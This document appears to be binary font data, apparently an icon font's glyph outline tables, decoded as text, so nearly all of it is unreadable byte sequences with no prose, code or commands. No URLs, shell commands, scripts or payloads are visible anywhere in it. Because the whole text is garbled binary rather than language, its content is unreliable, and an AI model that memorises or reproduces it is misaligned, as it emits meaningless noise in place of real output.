%1!1"31!264&'!"3!264&!"3!264&!"3!264&���U����U##�$$��##�$$�U,� 	327654&#"4&"3!264&#!�
�=$��������$�U+� 32654'&#""3!2654&"����$b��=$���*���V*6>%>7#"&46;2".546;2+4621"&46312&264&"+~�S�J~���~J�S�~$+GddGGddjF22F2�~$_�~JJ~�_$~�)���d�dd�dU2G22G*���V"(18ALUZ.'.=4767>32#"'"/7!>7'"1'#3?654'#3'4/7217%!.�p�,Y:�aq�-&4%:�a_��%�B_C�,_=n{J�JJ�JWm(�>���>m\_=nC�,j_X%�R
�g$m'�{Mn�iXa?�3NmX�8`
N4�k������PZB>j�j�!c%B;�k�O3��8`T�� !"3!264&%654&#"32654/U�V��b
�


��$$�
�$�
��U�� !264&#!"32764'&#"���V�

��U$$�$���+ 2654&"&#"27654&#"�$$�
$��V��b
�

��U+� %&#"32654264&#!"265����$���$��U�U,� %654&#"32%2654&#!"3!
��$��Ub
���$�+ %4&"2632654'&"32?+$$��$��+��V�

�����V�.6.54>2#"/#"&545762'+1".264&"18N[���[N81��1P �

� JJԖ�Ԗ*�F\�[[�\F�*��ssl.�RR�
G�Ԗ��*���+(,=3'32+"&5463'32+1"&5463#'312+"&546+U�����V�����UU+���V�V���+�U��+��U��U*���V=E26=4."3267632#".4>21#"&'#"&462264&"�2G2g�бgg�h6�*4�B_�~JJ~���~JdF%Q](X}}�}��jKKjK�+#22#+h�gg�бg.!	
(8J~���~JJ~�_+Fd**}�}}X�KjKKj*���+(,=3'32+1"&5463'32+"&5463#'312+"&546�V����U�����UU+���V�V���+�U��+��U��U��U�7Ce7#"&546;264&+";264&32+";2654&+"54&"263267654&#1#7654&#"313�U��5KK5U�U��5KK5U�##�]	��	���V$K5��5K$���$K5V5K$�VV�

�
�
���?Wg>32126=14.#"3251467654&#"1#"3!264&#!6".#"267654&#"	32654'&#"�Ij�#[�]%b 
x2#�*

A=A
���
�U�
�j��\�[�R�E

	\"�#2*+#(�


	%%	�U
�
U�$03!2654&#!"5463!21#!"&5154&"26UV��UK5V4KK4��5K##*��T5KL5��5KL5T�VV�}'%7''%&54632&546#"&547+������
��55��+

4��R���e
�+
#
���
#
�+

3�/���V
&>54&"!.5!"&63126=4>232".#"267654&#"�Ԗ.

���$2[���[2$�d


@>@
+�j��j�.(2�+*2$�]�[[�]�$2*+b



%%
���V#2#!1"&5463!1"631!"3!U��=XX=��&!��&&U��W>�>W��+&�U&4&*���+(,7B546;2321!"&=1463#";!3326514&#%!54&+1"+K5�5K�5JJ5�T5JJ5���UU��*��+5KK5+K5�V4KK5�5KU�V���U+���2<]	#"/!"&546;'&54632#"&5467'#"3!/326313122654&+'.#1!";�I
I�5JJ5�
t�T"X} ro��<�J50o	�#K5�H
����
IK5�5K�
���] }X"Tr�+�<�05K��r�5Km#U���V",I!546232#!"&5146;514621!3!2651"&515#"!514&+"&=�#V5KK5��5KK5V#�VV�+#V�V#++K5��4KK4V5K+����++��++���V+%%4&#!"762#"&51463!21#"'%�V���K5�5K��SX����v�5KK5�U�*���v '-"'%.541467%62-&"
%>5%9U))��<��))U<K��		����=
�U��h�C!�i C�

�C �!C��d���E��_�
����z��+7?G#1#"3!2654&+1"&/#2#!"&546;7>31!12"&462264&"N	��	I��5KK5�5KK5�I		I��}}�}��jKKjKh�*�m*K5�*5KK5�5Kmm��}�}}�(KjKKj*��V,A".4>3232654&'.#"2>=4&"%&#"27654&#"�g�бgg�h"[	
&p)_�~JJ~���~J#��$�
�I�(h�gg�ѰgK~���~JJ~�_(!�

�
�IU��&#"27654&#"�
�$�
�Is
�

�
�I*���,8&#"27654&#"%#!"&5463!264&#!"3!2654&"s�
#�
�HV����+5KK5U5K#��

�
�I��V$K5��5KK5+*���-STb7326545.'&#"7326545.'&#"75463!2#!"3!2654&#!"1265#126594&"M.N	uEp�
l�\/��5KK5�V5K#+*##�	N.Eu��p\�l
�U�#K55KK5U���,,&#"27654&#"$
��


�UU��654&#"32654/�
�

�b
�$��UU��%32764'&#"b

��$���++%32654'&"32?��$���

���U�)&#"2?654&#"&#"2?654&#"I
�$�
��
�$�
�s
�

�
���

�
���+�)%32?64/&#"32?64/&#"

�

�
���

���
�$�
��
�$�
�U�)32654/&"32?32654/&"327�
�$�
��
�$�
�
�

�
��շ�

���,�)654&#"32654/%654&#"32654/�
�

�
��
�

��7
�$�
��
�$�
�*���V".4>2%2>54& 3_��~JJ~���~JJ~��h�g���g�hUJ~���~JJ~���~g�h���h�g����V08463!232#!"&5463#"3!2654&+#!"&5711!151+2##2+5KK5�5KK5+++2#�#2U#21$K5��5KK5U5KU��U$22$UUU*���V(4IW"'.54767>392#"'7#"&'>54'#'765654&"326>3!.#9"�t�mY:�a��2&J~�_-_
6n���b�`�*!IKjK@?��`s:?/�UJ�0S
��v�{Mn�vXa_�~J[�C/
!d$��k�bB>9G>4,!5KK5$"X�5LGdO7*���V/".4>2%2>54& 34&"32654/_��~JJ~���~JJ~��h�g���g�h+$
�sUJ~���~JJ~���~g�h���h�g���t���6X1"32654&'.54632;2327>54&+.3267654&#1#7654&#"313�h�gtR


	?[�|`�5FdP9Uy�j%�>	��~	���g�h^�-
#�I|��\dG:b�Wj�j��B


�
�

���#/;G|%26=4&"526=4&"26=4&"526=4&"26=4&"526=4&"&#"32654'.54632;2327>54&+.+####U####�####@
h�gU;.B�|`�
6Gd<+
	?Z�j#�UUU�UU��UU�UU��UU�UUmg�hL�0	
%�;|��\dG.\�Ej�d����#X2654&"2654&"2654&"&#"32654'.54632;2327>54&+.�##��##�##@
h�gU;.B�|`�
6Gd<+
	?Z�j#�U��U��Ug��Umg�hL�0	
%�;|��\dG.\�Ej�d����0Vf&#";123267654&'.#1#.7!27>'.#"#!"#"&'&5467>'.#"'32654'&#"�W�5&S

	 |9!���sgC҃}-*
��_�
Z@
	
	��
�U��T, 7# 04 S0C`�&@� �\&'H�$"	
g�U
�
*���V!%(-25	"'.5467627537%7'5'%!5''7'��U

�U�
8�͉�V����+���`>��3�D3��"``N��
��
��
*
y�`x��x`�CaaaC�C�`x��Ȱx`QCC��V56DEMN\]kltu���"#"32654'.54632;2327>54&+.'#126594&"&264&"'#126594&"#126594&"&264&"7#126594&"3#126594&"�h�gU;/B�|`�
6Gd<*	?Z�j#�i+##�+$$�*##**##�+$$�+##++##Ug�iL�0	
%�;|��]
dG.[�Ej�d���U##+�V##+*���V":".4>2%2>54& 3?%#"&547>7%632_��~JJ~���~JJ~��h�g���g�h98�8�Z��ZUJ~���~JJ~���~g�h���h�g��8�8n��ZZ*���V/S131!1265114&#1!1"#14631!1211#1!1"&51#"&5463!226=4&#!";264&����VK5�5KK5��5K�*�$K5��5KK5*����5KK5��5KK5�**5KK5��5K$��)%32?64/&#"3!264&#!"&514&"b�

���g}X�5K#I
�$�
���Y}$K5*����)654&#"32654/#!"3!12654&"�
�

�
�DK5�X}#�
�$�
���5K$}Y*���)&#"2?654&#"!1"265463!264&�
�$�
���Y}$K5*
�

���}X�5K#����(32654/&"32?!"&54&"3!264&7
�$�
���5K$}Y*�
�

����K5�X}#�(654&#"32654/4&#!"3!226�
�

�
��}X�5K#�
�$�
��+*Y}$K5���(32?64/&#"463!264&#!"26b�

����K5�X}#I
�$�
��+*5K$}Y���*&#"2?654&#"!22654&#!1"3�
�$�
��+*5K$}Y��
�

��DK5�X}#��+32654/&"32?!12654&"#!"317
�$�
��+*Y}$K5���
�

�
��g}X�5K#���#4@LXdp|��3!2654&#!"463!2#!"&5%35#'!2#!1"&546462"&5%462"&5462"&5%462"&5"&46;2#"&46;2#%"&46;2#"&46;2#��UK55KK5�5K+��+�$$$$�$$$$����V�����5KK5�5KK5��V�*����V���*$$�##�$$�##����+1463!21#!"&5514&#!"1!3!12651K55KK5�5K��V���5KK5�5KK5���U��+*���V(8%5462>7#"&46;.'"&=32+".4>2�$~�~~�~$~�~~�~���~JJ~���~JJ~~~�~$~�~~�~$~�WJ~���~JJ~���~*���V%-".4>2%2>54& 36"&462264&"_��~JJ~���~JJ~��h�g���g�hG�dd�d�F22F2UJ~���~JJ~���~g�h���h�g�d�dd�2F22F����.>2#!1"'&476312654&#!	327654&#"32654'&#"�5KK5��
��*
+��y�
���K5�5KU U�U����I��� X%'&#"2?654&#"'2654&"&#"32654'.5463231;2327>54&+.'�

�
#
��##*h�g9(,�|`�5Fd*
-@�j!�c�
�������g�h=�-
#t/{��]dG%R{7j�^�U���V0<73!26=4&"#!"&=4&"%'&#"2?654&#"2654&"UK5V5K$��$��
�$��$$��5KK5���V�
�����V����+(267>54&/7"&'.546?62-$3
	#���#

3%��.B-���-B/�$�#z3BRccRB3z#�Y�-�AUjjUA�-�
U���+73'7+"&=4762����

���
+#ę�Z�
#��
�+
*���V%*<#!"&546;1264&#1#"3!26=4&"%3'7+"&=4762+����5KK5U5K#�Un�n��U��$�U#K5��5KK5�Nn�n[�$�U��U���V"3'7+"&=4762!264&#!"�n�o�

�+
�
�
#��Do�n[�$�+
���V##U���,#4D#!"&5463!264&#!"3!2654&"2654&#!"3654&#"32��*�5KK5�5K$�$���
�+U��$K5�*5KK5n�$�8�
�+
08@ 7>7.'& '67676  '&'&'&47"&462264&"n'/�P�==����=	
i+5���5++5��f�5+B�dd�d�F22F2b=3��S  S��S 1#A:��:A"		"A:��:A		�d�dd�2F22F*���V047#"&54?47>32#137>54&#"632#3�t
t $|3|�3$��Y�i'}Y%Z���F�V�+t
tY $4�|3|$��iZ&X}&������U���+V+K46;2+32++1"&5#"&=46;#"+32346;7#"&=46;��j���*U�UUUUGdVVV_t2#UUj��U�
��+�dG�V��+V�$2���V&2!"3!265#"&5732#!"&5463"&463!2#+���Un�
K5�5KK5��V��o�
�5KK5�5K��$$���(Pp�654&#"3>7654&#""'.'>32767654'&'&'&+"3276;2#"&5467654&#"3267654&#"	32654'&#";�#+5��A�3*�4��>qm

8)+5��20'(��="��
%$2dFI���
�U[
	-�A


	#C8�9'
 .�S 5���CM	
	"B9�	�R :2#$
HGd 
�U
�
**��'+%#"&5114632'%%#"&5114632'%%E�`����`��4	V	��
*
"�Z��	V	��
*
"�Z����V&2>J!"3!265#"&5732#!"&54632#!"&4632#!"&4632+"&463+���Un�
K5�5KK5���V��VV�V��o�
�5KK5�5K�+##�##V$$*���V $(/6=D463!2#!"&5!!!5##3%35'35#%354&##3265#"35#3+O8�8OO8�d8O*V��V��+�����������2�N��N���8OO8�d8OO8��U�U�����V����V�ՀN����N���N����V#&2#!"&5463!"3!265!"&73+
*
K5�5KK5��U�U���+5KK5�5K���V�֙���V&B!"3!265#"&5732#!"&5463#"&46;546232+"&5+���Un�
K5�5KK5�UU$UU$�V��o�
�5KK5�5K��$UU$U*���++"3!2654&#!1"&/2#!"&546;12����	I�5KK5�V5KK5�	I����m*K5�*5KK5V5Km*���+%	&54631!12#"/.51147���
V
��
	�
�
V
]��y��U����+'M����V+E4767632327676#"&'.#""&5232767#"&'.#"6�
#=X,MB:?"G.5
#=X,MB:?"G.#�,MB:?"G.7I,MB:?"G.7++������[*���V$+29".4>2>7!#.3.%3>>75.'_��~JJ~���~JJ~:C)j�
���
�j)C.)C�
���j�
�CJ--JJ--JUJ~���~JJ~���~`J�>�ll�>��>�Jl��lJ���I�;;�IVI�;;�IU���+'+;?O35#'!2#!"&54635#'!2#!"&54635#'!2#!"&54635#'!2#!"&546���++����++��<��++���g��++���V��+���V��+��U��+���U��+���+4>321"'.546327>54&#1""/.#""s/s�0"��$��"0�s/s".-!pP!O-$-O!Pp![�"0�s/s"��y"s/s�0"��.O!Pp!-

-!pP!O��U���V(,621#!"&5143265	;463!23#f��K5��5KV���������"*		��
�+5KK5����
���@���U*��V!�%&'.'.'&#"7>54&#"4&'654'&'&#&&"&"26=&7654&'.505467654'&54732762327676726=654'>tFE$%
"Gc=
F"	DnF�FnD	"|{
$ }p,;
D�C
;,q|#
{|T,+*
�'d !60
FF
06! d'��!$��0 
rM
((
M�s

)��#�U���+#+7?1"&5463!21#14&#!"62'!26=%1"&46312&264&"�5KK5V5KK5*���#
������->>-,>>5


+K5V5KK5��5K�D��
�

�������>X??X>U


*�1G!121#!"&=147>3.#1!1"31237>315##1#1"&/#3!267�"E�K5�V5K�E"2y�ny�
H~H
տH
�
H��-��		�5KK5�		M-����mm��mm�*���V.E62"'%.467-&#"27%>54&#"&#"27%>54&#"�		�		�U		�U		sKK���h	
	�		�	
	�h�h	
	�		�	
	�hQ���&�����
��
��
��
�*���V)*2".4>2%2>54& 3754&"26&264&"_��~JJ~���~JJ~��h�g���g�h+$$++$$UJ~���~JJ~���~g�h���h�gի�g##*���V#4EFT13!2654&#!1"463!21#!1"&5%.#"32654'7#"&'&546325#126594&"�dF�FddF�TFdU�i�i��i�Ti�UJ/5KJ.5KU}XL|~XL|*##V�TFddF�FddFi��i�Ti��i�.AK5
-?K5		X~kLX}jL�U���+!(463!21#!"&554&#!"!!265#3UK5V5KK5��5K����V����5KK5��5KK5ր�V�V*����1=32+";264&+"#"&46;1264&#1#";264&'!264&#!"��GddG��j��j��GddG��j��j�=V��+d�d#�Ԗ#��d�d#�Ԗ#�$$*���V!1>NV%3203267'#9"&''7.5147'>3127.+">=4&".4>2264&",�77�,zEEz<z#z#1�zE@6z,�77��z##z#11�~JJ~���~JJ~��jKKjKT#11#zz<zE@6z,�7��z#z#11_z6�6z,�77��gJ~���~JJ~���~KjKKj'���Y2c326?>54&#"32?>32#"&'&#"7.#"326?654&#"&'.546?>3232654'�x6+j � .�j-lJ
JFG)�G$P
�x6+j � .�j-lII2�2�G$P
<+<,�l.i�. J
I*FF�)�+<,�l.i�. JI02FF�)U���V0<32654&+";2+"32?64/&#"7!"3!264&U�5KK5�����

��<�UK5�5K#�V#H�$��+$$	UU��#$,-56>!264&#!"!264&#!"!264&#!"&264&"&264&"&264&"U+��+��+���+$$+$$+$$U$$�$$�$$+$$��$$��$$U���V*2546232#1!"&546313!2654&#!1"7!54&"�Ԗ+5KK5��5KK5*V���Vd�dՀj��j�K4��5JK4,5J��,n�GddGU���V2>!#"&546;264&+";264&#1%32?64/&#"7!"3!264&����5KK5��

��<��#K5�V5K#��$��+$$*���V'7CO_o26=4&"26=4&"32654/&#"32654/&#"%3264&+"!3264&+"7654&#"327654&#"32�$$$$��yx
�x
y�ʫ�����xy�y

x
+���D���xy�y
x�$$$$��yx
�x

y
*�%!2#!"&546.#!"%"'%3!265��5KK5�V5KK�V{������K5�5KK55Km
������RU���,!1A2654&#!"34&"3!264&+	327654&#"	654&#"32U$��+$����
+
�0+����$�+�$��
+��+����V'+%7%632%632#"'%#"&5467%7��U��
	@

	��

	����

	��f����M��zHn���U
����
<z��zU���+7?67654."6717"'&'.'&54>2%1"&46312&264&"!D<�[���[�^$�#j)
)j#�s���s�UGddGGddjF22F26>��]�\\�]�� S:%]	]%��t�rr�t�!d�dd�dU2G22GUU��#!264&#!"!264&#!"!264&#!"����U$$$$�$$U���+%J%632;267>=.'+"7%#"#"&'#"&54?.5467>;f
	SR�$�xSIh7�/�g#`!�K�]#j'��	zhISz�$�RS	
�7f]�L�!a#h�/	ۜ'j#U���+ %63!2654&#!"&5463!2#!
��
5K5V5KK5�������5KK5�U5KU���,!1A%2654&#!";4&"3!264&+654&#"32	654&#"32�#��#�
+
��
�7+��+#��#I+
���8+�����'Dbu��32654'&#"326764&"#"&=4&"514&#"3267>32126#"&50=4&"3267654&"732676=4&"26=4&"!264&#!"
�
�UVdFG###2#UdG9b1$2#k-j�#[�\<�*#<#��##�U��7�U
�
���Gd
#1$� �GdP9(2#���-�jVU]�\<+�UU�n���##*���V)".4>2%2>54& 3!264&#!"_��~JJ~���~JJ~��h�g���g�h�V��UJ~���~JJ~���~g�h���h�gU$$��V�3?K"&5462&"2654"&=14&"12>=4&"26=4&"!264&#!"�d�dd�d�F22F2��Ԗ#[���[#��$$�V����GddGUGdd2$��#22#U$��Uj��jUU]�[[�]U�n���##U���+ ,3!2654&#!"463!21#!"&5!264&#!"�V��VK5V5KK5��5KV�����V5KK5��5KK5$$�UV�!264&#!"�V��U$$U���+-.5473267#"%#".54>7632676S;]�\�]c�!8<;	y�jt�sh�i�j#Y03S�;<8!�c]�\�]ai�hs�tj�y	0Y#j�*���+#5%32#!"&46;5!"&515467!21#13!26554&#!"+������5JJ5�5JJ5�*��T�U$$UK5�4KK5�V5K*�V�����V#+9"&462&264&"6"&462'1264&#1""&462'1264&#1"315jKKjK�$$`jKKjK�GjKKjK�KjKKj
$$�KjKKj##�KjKKj
##*�'/"&462&264&""&462&264&""&462&264&"5jKKjK�$$�jKKjK�##��jKKjK�##KjKKj
$$nKjKKj
$$nKjKKj
$$*���V)>S_k654&#"32654/32654/&"32?&#"2?654&#"32?64/&#"!264&#!"2654&"�
��
a��$�bb
�$�b

��
a��V���$$��$�
b

��
a��
��
a�$�b+$$��VU���+!,7+"&46;467%632+"&46;#";265%#";265�K5V5KK5�K5V5KK5���V�V���5KKjK�U��5KKjK���#�#���S+%762&762'%&�

���.
+
<
+
.���4qqQ�+'+��'��U���'	.76&'�
8���**
��
;OT
�S��5<
�*��<*���V!7'!'!2#!"/&54?6��>���b
��
��
��
����>�U�
��
��
b
�*���v!+16"'%.541467%62%&"7"1%>5%7%9U))��<��))U<-��		cKv5��=
�U���vKv��h�C!�i C�

�C �!C���1�;EL_�_�
����z-;�;�*���V)5".4>2%2>54& 34&"2674&"26_��~JJ~���~JJ~��h�g���g�h+##�##UJ~���~JJ~���~g�h���h�g����+'3'32+"&5463'32+"&546+U����U������VU�V�U��VU�V����)1	327654&#""&462264&""&462#&264&"
��V
�:{XX{X�5%%5&>XX{XX=5&&5%��V��X{XX{%5&&5��X{XX{XU&5%%5/��V3i�%#"'.'.'.'&546;27>321'4&'&'&#"#"'.'&54?654'&'.+"32651.546323#"&'.'.546323#"&'.'�K5W�ID�+0Q	K5�.K	s2569.@UC?7
H�)6	�I+(�>B�N��Fw	O,\�l
�q5K	Q/+�DJ�W5KA.9552r J.	7)�G

6>CO�C>�'+ISvF/O�
l�\p�*��U U�32?64/&#"!264&#!"454&'&'&#"'.'&54?6'&'.+"2326515#"'.'.'.'45467>;27>32

�

�
���U��C?6
H�)
6
	�I,'�>C�OU3W�IE�+0R	8�.K
 s256:-A�

�$��+$$�,7
)�H

6?BO�C=�(+I��7	Q/,�DJ�X3A.96#J2s K.�*��VT�	327654&#"32654'&#"454&'&'&#"'.'&54?6'&'.+"2326515#"'.'.'.'45467>;27>32��

��
��C?6
H�)
6
	�I,'�>C�OU3W�IE�+0R	8�.K
 s256:-AI�
I�
�h7
)�H

6?BO�C=�(+I��7	Q/,�DJ�X3A.96#J2s K.����F~�&#"32?63211#"#.'&'&#"32651=4&'&'&#"&%.'4546;232?>54'&'.+"32654'	327654&#"�

[#
6
?BN�BI>
X!J�W5KA-964;��+I�	66J.�5K	Q0	��U
�
f
E
6	�	I+.>
F0P	K5�.J%@C�OB?66568.AK5W�I
��V
�*��V!V�4&"13!264&+327654&#"454&'&'&#"'.'&54?6'&'.+"2326515#"'.'.'.'45467>;27>32�#���

*
DC?6
H�)
6
	�I,'�>C�OU3W�IE�+0R	8�.K
 s256:-A�$��
+�+7
)�H

6?BO�C=�(+I��7	Q/,�DJ�X3A.96#J2s K.�*���V4j%454&'&'&#"'.'&54?6'&'.+"2326515#"#.'.'.'45467>;27>32�C?6
H�)
6		�I,'�>C�OU3W�IE�+0R	8�.K
 s256:.@�	6
)�H
6?BP�C>�'+I	��8
P0+�EJ�W2A.95$I1s K.*��V!W�26514&#!"3654&#"324&'&'&#"#"'.'&54?654'&'.+"32651#"'.'.'.'45467>;27>321�#�*

��
�C?7
H�)6	�I+(�>B�NU3W�IE�+0R	8�.K
 s256:-A�#��+
����	7)�G

6>CO�C>�'+I7	Q/,�DJ�X3A.96#J2s K.�*���V$6=%#".467>54&#"3267654&#"7#!1"&546312.'!&b)�ih�g�_	t�J~�_��2s�U_�~J�O�7S�a�g���*3�_�~J�v
��J~��O@��7*���V 4".4>2%2>54& 37/#"&5114632_��~JJ~���~JJ~��h�g���g�h+���


UJ~���~JJ~���~g�h���h�g%[[s��V���V+%	'#"&54632�$V��


N22r����U���+ ,83!2654&#!"463!21#!"&52654&"!264&#!"�V��VK5V5KK5��5K�$$�V�����V5KK5��5KK5��V�$$*���V)5".4>2%2>54& 32654&"!264&#!"_��~JJ~���~JJ~��h�g���g�h+$$�V��UJ~���~JJ~���~g�h���h�g+��V�$$�*V�2654&"!264&#!"�$$�V�����V��$$*���+!62>54&#!"%2".5463&#"2?654&#"�g�бg�V�5KJ~���~JK5�
�$�
���i�ff�ioK5�`�}KK}�`5K��
�

�
�*���V9=M!5!463!232+"&46;26=4&#!";2+"&=463!!'!2#!"&546+��VV*5KK5UU�VUU5KK5���V+�+���K5�5K$��$K5�5K��U��Vc���V'3".5467654&#"267>&'&#"%2654&"�*:[���[:*

R::R>���>R::R
��$$G*�;\�[[�\;�*
R��Q>@@>Q��R
�U�*'��#7Nf"&462&264&"727>4&'&".46764&"264327>&'&#".467654&#"326545jKKjK�$$�$$
$$44$$��$$
$$44$$�/BB/

Z@@Z
��/BB/
CGGC
KjKKj
$$�YIX
#
$|f|$
$��YIX
#
$|f|$
$�.���.

Z��Z
��.���.
D���D
U����)>S32?64/&#"5463!264&#!1"26654&#"32654/#!"3!126=4&"�
����gK5U��X}#���
��K5��UX}#
�#
�
��U5K#}XU�
�
#�
�V5K#}XV��+!@_4&"3!264&+2654&#!";.#"32?>3232654#"'.'.#"326?654&#"U#�V#��*�}I�3�
�)�:'%L�#�)�;&&L�)�}I�4�
��#�+#v�J3��*;�I��*;�Iv�J3�**��*
&476321#"'1%	&476321#"'�������� ���S��y*
*
*	��	y���*
*
*	��	*���+@14&"13!264&+32>4.#"32?>32#"&'.#"�#�*�}s�rr�sI�4�
�)�;$a Ig[�\d�!
��#��v�s���sI4�
�);)�S]�[�_��+"Bb"3!2654&"3264&#!1"265>3232654/.#"3267327>7654&#"#"&/&#"�#����#i!�d:�)�
�4�I0._� ��4�I0._� !�d:�)�
#�#��^�:*��4I�\�4I�\^�:*�*���';"3!2654&"#".4>3232654/&$3267654&#"�#i!�c]�\\�]:�)�

�d��|\�r�t|�*
#��^�[���[:*��e'D3�ht�r�vU���+$(:!2#!"&=#";463!23265'!!"&5463!2U+��++�+�����5KK5�
�
KՀ#���*��ļ�V�VK5V5K
�
�*5KU���+%"/#".4>2264&"�
$�)�4b�aa�Ĩa.�P梢��$
� .a�Ĩaa�b4�]�梢�*���V&9MN\]k3!26=4&#1!"463!12#!1"&=3!26=4&#1!"463!12#!1"&=%#126594&"#126594&"���TUJ5�5JJ5�T5JU��TUJ5�5JJ5�T5J+##++##ժ�5KJ5�5KJ5����5KJ5�5KJ5U����+9I"&462264&""&462264&"'&54632632#"&547&54632#"'q�dd�d�G22G2��dd�d�G22G2��7�
��d�dd�2F22F�xd�dd�2F22F#�
�7
�

�
U���V#/:L^1"&46312&264&""&462264&"1"&46312'264&"31.54632#"'632#"&5467GddGGddjF22F2���dd�d�F22F2UGddGGddG#22F22#�Y	

#	

	��
	d�dd�dU2G22G�Nd�dd�2F22F�Nd�dd�dU2G22G2
�
�����V0<3!2654&"#!"&54&"%32654/&"32?'2654&"�K55K#�#
�$��+$$���5KK5U��U����=��+����V*"'&'&'&5467%62'6765%67		A:�
V
V
�:A;5���՜CLQ(3��UUU����3(Z%.��4KK�̍�:+		����	$"&462264&"'&"#";22?>26=467632264/.547>;264&+"&/5&546?64&"#"'.=4&"##"&32+"#"&/&#""&5054&'&#"#"&546?654'.+"&46303267654/.5463232?651546232?>32G�dd�d�F22F2�$

= =	
#
D+#(/
$


==
#

.($(/[5KK5K55
KjK55K5KK5	K55	KjK55K�d�dd�2F22FK#
D+#(/
$

= =	
#

.($(/
$


<=�KjK
55K5KK5	K55
KjK55K5KK5K55	�V!
&47632#"'%14&"126��<�U���##}��zV
(
V	�V	LV������, 1AQ26=4&+";	654&#"32%";26=4&"'32654'&#"32654/&#"U$���t�
�+��$���7�
�
+�$�8�
�+
*$������
�U���+$463!21#!"&5#";!2654&#UK5V5KK5��5K��V��5KK5��5KK5�����VV�V-'#"&546322654&"<����U##���z��
(
��	�U��V����);M_q.'.>$6.67>&%32654'.#"32654'.#"%327%>54&#"327%>54&#"�(P�����g'(P���g+?Pl��yM?Pm�\\yM�O�
�
ǘ
���E�>�E����g'(P�����fOP��]yM8>Ql�\\yM?Pl��D�K�D�%�
�̙
�
*���V%".4>2'326	>54.#"_��~JJ~���~JJ~��#1g�h8��L#1g�h8�UJ~���~JJ~���~_,�8h�g1{��,�8h�g1���VV%&.3!12654&#!1"4631!12#1!1"&5%&264&"��VUK5�5KK5�V5KU+$$�T�5JJ5�T5JJ5V$$U���+ 3!2654&#!"463!21#!"&5�V��VK5V5KK5��5K���V5KK5��5KK5���V!"*2:3!12654&#!1"463!2#!"&5&264&""&462264&"��UK55KK5�5K�+$$j�}}�}��jKKjK�T�5JJ5�T5JJ5V$$��}�}}�'KjKKj*���V?762'454?'./>2#"/#"&545'&5467%�
ї$�		�$
��
^&z
�/	��	/�

��bb�
��t		�(
������
(*���V!2".4>2%2>54& 335'!2#!1"&546_��~JJ~���~JJ~��h�g���g�hU���UJ~���~JJ~���~g�h���h�gժ�V�
���'7GS_o$"&462264&"26=4&"26=4&"32654/&#"32654/&#"%3264&+"!3264&+"7654&#"327654&#"32jԖ�Ԗ���dd�d�$$$$��<
=g=<
�FUUgUU�d=
<h<
=
��Ԗ��Ad�dd�UU��UU�=
<��<=�$$$$��<
=g=
<
��V/;GWdy%4&"265462262654&"32654/&#"3264&+"!3264&+"7654&#"32!"3!264&#32654/&"32?�Ԗ#d�d#��$$��<

=^UUgUU@<
=��V����$���j��jGddG���+�r=

<
��$$$$=
<
��##b������V!"*%4&#!1"3!1267#!"&5463!2&264&"+�UK5�5KK55K��+$$*��T5JJ5�5JJ5��$$*���V
!"0	!2764"&'&51463!2#126594&"J����_
#00��5+5���l��+##�_����

/#k��k���5+4��V/;GWdy%4&"265462264&"2632654/&#"3264&+"!3264&+"7654&#"32!"3!264&#&#"2?654&#"�Ԗ#d�d#�$$�k<

=^UUgUU@<
=��V����$�
��j��jGddG�+��@=

<
��$$$$=
<
��##��

�
�*���V%-5=".4>2%2>54& 36"&462264&""&462&264&"_��~JJ~���~JJ~��h�g���g�h|������}�}}�}
jKKjK�$$UJ~���~JJ~���~g�h���h�gU�����Y}�}}�(KjKKj
$$����-%#"&5467462'4&"2654&'.��Ha�2#X{X#2
�&5%'X{X''Eb�a-k�=XX=�5j-#"��&&�	H!>XX>!H*���V3=M232'!"&54763221267654'&#0+"&=4&'!#";#"&546;2R9(	<J0��Gf�;
�"����VV+�6LL6�+-;��/>�	�dF�����-���^���UK5*5K�**���V 8EZ70#"&'.547>;!21#"&=#0#"7312323267.+36#"+"&5463�9<K-��He�:<
�#�VI!!I+s6SS3t�1

�-?�*	��dF�+���-[���$���F5��3G���*�!)13!26514&#!"#4>3!2#!".5"&462264&"U�jVj��j��j�U[�]V]�[[�]��]�[��dd�d�G22G2�j��jj��j]�[[���[[�]�d�dd�2F22F��*�!)13!26514&#!"#4>3!2#!".5"&462264&"U�jVj��j��j�U[�]V]�[[�]��]�[�dd�d�G22G2�j��jj��j]�[[���[[�]�d�dd�2F22FU���V)GS_!264&#!"%#!"&514&"13!2654&"546;226=4&+"12652654&"2654&"����V#K5�5K#���#K5�5K###�##U$$+��U��5KK5UUUU5KK5U��U���V)G!264&#!"%#!"&514&"13!2654&"546;226=4&+"1265����V#K5�5K#���#K5�5K#U$$+��U��5KK5UUUU5KK5UU�*&"32727654&#"%2654&#!";�
#��
"�$�
��k#���

��"�

�
��Y$U�*&#"2?32654'&""3!2654&"I
@#
�w
�k$�j#���

����

��$����/$>2!.5473!2654'."�@<@iK4�,4JJ������$$��#4KK4#+

[		�����$0!26=4&#!"12651!264&#!"32654&"�V#�V#��U$$�V����##�V����1d6&'.623267&'&767>32546763267#"'.#"1#&'>54'&54767�1	2M����i		*o%�-+*

.�PY>(+%\4.a
B'8h�H -�["E�~r\C$
�"&_	|ךf (:
(U���&BgC�# �
R**NJwb�I
3*
"?^t�PU���+7"&5#"&54?62#"'462#!"&=4623!265+$�
�$�
�$K5��5K$V��g��
�

�
���5KK5����V#)265462"&5!"&545>2# !&+2F2$d�d�V�������HU�#22#FddF~�||�~������+ Uj%32654/&"32?'2654&"&#"32654'.54632;2327>54&+.32654/&"32?��$�
�+$$)h�g8(
,�|`�
6Gd4%


7N�j!��$�
���

��<����g�h=�-#t/{��]
dF*X�?j�]����

��U���U(954>#"&'.!2#1!"&546313!2654&#!1"�Ơ
k�Y�5KK5��5KK5*V��Հc�uaAN
bB�K4��5JK4,5J��,����+%-B!54&#!"26=463!22651"&462264&"&#"2?654&#"�}X��X}#K5+5K#��}}�}��jKKjKV#
�
�UY}}YUU5KK5U�}�}}�(KjKKjWV�
�����+%-9!54&#!"26=463!22651"&462264&"!"3!264&�}X��X}#K5+5K#��}}�}��jKKjK�UY}}YUU5KK5U�}�}}�(KjKKjK##����+%-9E!54&#!"26=463!22651"&462264&"%2654&"!"3!264&�}X��X}#K5+5K#��}}�}��jKKjK@##��UY}}YUU5KK5U�}�}}�(KjKKj�g##����+%-=M!54&#!"26=463!22651"&462264&"32654/&#"732?654&#"�}X��X}#K5+5K#��}}�}��jKKjK��
